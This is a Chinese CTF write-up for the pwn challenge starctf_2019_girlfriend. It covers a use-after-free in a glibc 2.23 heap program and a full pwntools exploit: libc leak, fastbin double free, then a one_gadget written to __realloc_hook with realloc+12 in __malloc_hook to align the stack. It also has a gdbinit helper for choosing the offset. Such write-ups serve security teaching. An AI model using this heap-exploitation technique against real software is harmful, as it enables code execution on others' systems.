首页 > 其他分享 >starctf_2019_girlfriend 使用realloc函数调栈帧

starctf_2019_girlfriend 使用realloc函数调栈帧

时间:2022-11-11 21:55:59浏览次数:78  
标签:调栈 libc realloc hook 2019 0x68 0xc new

starctf_2019_girlfriend

这道题怎么说呢,我好菜,竟然做了快一下午><,本来是不想发这个博客的,因为以前做了一个这样的题,(由于那个题是zikh师傅出的题,还没有发布,就不再写了)

这道题主要是记一下realloc函数调节栈帧的用法

保护测略

版本是2.23的

image-20221111210522801

程序分析

就是简单的菜单题,漏洞点是uaf,没有给eidt函数。

image-20221111210751750

漏洞利用

就是一般的流程,double free 泄露地址,将malloc_hook申请出来,填写onegadget,ok做好,我也是这样想的。然后你会发现所有的onegadget都不可以用,没事,我们还可以用realloc函数调一下,但是我忘了怎么用的<-_->,又学习了一下,而且在这次做题中发现了自己的一些不足,在记录一下

realloc函数的利用

在realloc函数里面有很多push和sub指令都会抬高栈帧,在这个过程中,会有满足onegadget的机会

realloc函数里也又一个realloc_hook。作用跟malloc_hook一样,且realloc_hook的位置就在malloc_hook上面,也就是说我们可以在relloc_hook上写onegadget,在malloc_hook上写realloc+n的地址,从而达到修改栈帧的效果

zikh师傅还写了一个工具去具体计算n的数值,仅适用2.23

把这个函数添加在gdbinit中

define realloc_offset
        set $condition=$arg0
        set $max=$rsp+$condition-0x40
        set $min=$rsp+$condition-0x70
        set $ptr=$min
        set $cnt=0
        #printf "%p\n",$ptr
        while ($ptr<$max)
                if (*(long long int *)$ptr==0)
                        if ($cnt<4)
                                printf "The value of %p is NULL\n",$ptr
                                printf "You can use the offset of %d\n\n\n",($cnt*2)
                        end
                        if ($cnt==4)
                                printf "The value of %p is NULL\n",$ptr
                                printf "You can use the offset of %d\n\n\n",($cnt*2+3)
                        end
                        if ($cnt==5)
                                printf "The value of %p is NULL\n",$ptr
                                printf "You can use the offset of %d\n\n\n",(12)
                        end
                        if ($cnt==6)
                                printf "The value of %p is NULL\n",$ptr
                                printf "You can use the offset of %d\n\n\n",(16)
                        end

                end
                set $cnt=$cnt+1
                set $ptr=$ptr+8
        end
        if ($rsp+0x28==0)
                printf "The value of %p is NULL\n",($rsp+0x28)
                printf "You can use the offset of %d\n\n\n",(20)
        end
end

调试过程

因为又uaf,首先申请一个大于0x80的放进unsortbin中,在show一下泄露libc地址。进行下面操作时别忘了把那个unsortbin中的chunk申请出,因为我申请的大小为0x98,下面我们要打一个double free,申请的大小为0x68。也就是0x70。你不把上面的0x98的(实际大小0xa1)申请出,当你申请一个0x70的会直接给一个0x80的,(我说怎么莫名出错)

exp

    from tools import*
    p,e,libc=load('a','node4.buuoj.cn:29407','libc-2.23.so')
    context.log_level='debug'
    context.arch='amd64'
    def new(size,name,context):
        p.sendlineafter('Input your choice:','1')
        p.sendlineafter("Please input the size of girl's name\n",str(size))
        p.sendafter('please inpute her name:\n',name)
        p.sendafter('please input her call:',context)    
    def show(index):
        p.sendlineafter('Input your choice:','2')
        p.sendlineafter('Please input the index:\n',str(index))
    def delete(index):
        p.sendlineafter('Input your choice:','4')
        p.sendlineafter('Please input the index:',str(index))


    #The third parameter change pri_size

    new(0x98,b'a'*0x98,b'c'*0xb+b'a')
    new(0x20,b'/bin/sh\x00',b'1'*0xc)
    debug(p,'pie',0xC0A,0xD7E,0xE7D,0xB83)
    delete(0)
    show(0)

    leak_libc_addr=recv_libc()
    libc_base=leak_libc_addr-0x3c4b78
    log_addr('libc_base')

    new(0x70,b'a'*0x68,b'1'*0xc)#2
    new(0x68,b'a'*0x68,b'1'*0xc)#3
    new(0x68,b'c'*0x68,b'1'*0xc)#4

    delete(3)
    delete(4)

    delete(3)

    malloc_hook=libc_base+libc.symbols['__malloc_hook']-0x23

    log_addr('malloc_hook')
    system=libc_base+libc.symbols['system']
    realloc_hook=libc_base+libc.symbols['__realloc_hook']
    realloc=libc_base+libc.symbols['realloc']
    payload=p64(malloc_hook)
    one_gadget=libc_base+search_og(2)
    new(0x68,payload,b'1'*0xc)#3
    new(0x68,b'c'*0x68,b'1'*0xc)#4
    new(0x68,b'c'*0x68,b'1'*0xc)#3
    new(0x68,b'a'*(0x10-0x5)+p64(one_gadget)+p64(realloc+12),b'1'*0xc)#leak
    #new(0x68,b'a'*(0x20-0x5-0x8)+p64(one_gadget),b'1'*0xc)
    log_addr('realloc')
    log_addr('one_gadget')

    #new(0x68,b'c'*0x68,b'1'*0xc)
    p.sendlineafter('Input your choice:','1')
    p.interactive()


参考

使用realloc函数来调整栈帧让one_gadget生效 | ZIKH26's Blog

标签:调栈,libc,realloc,hook,2019,0x68,0xc,new
From: https://www.cnblogs.com/trunk/p/16882138.html

相关文章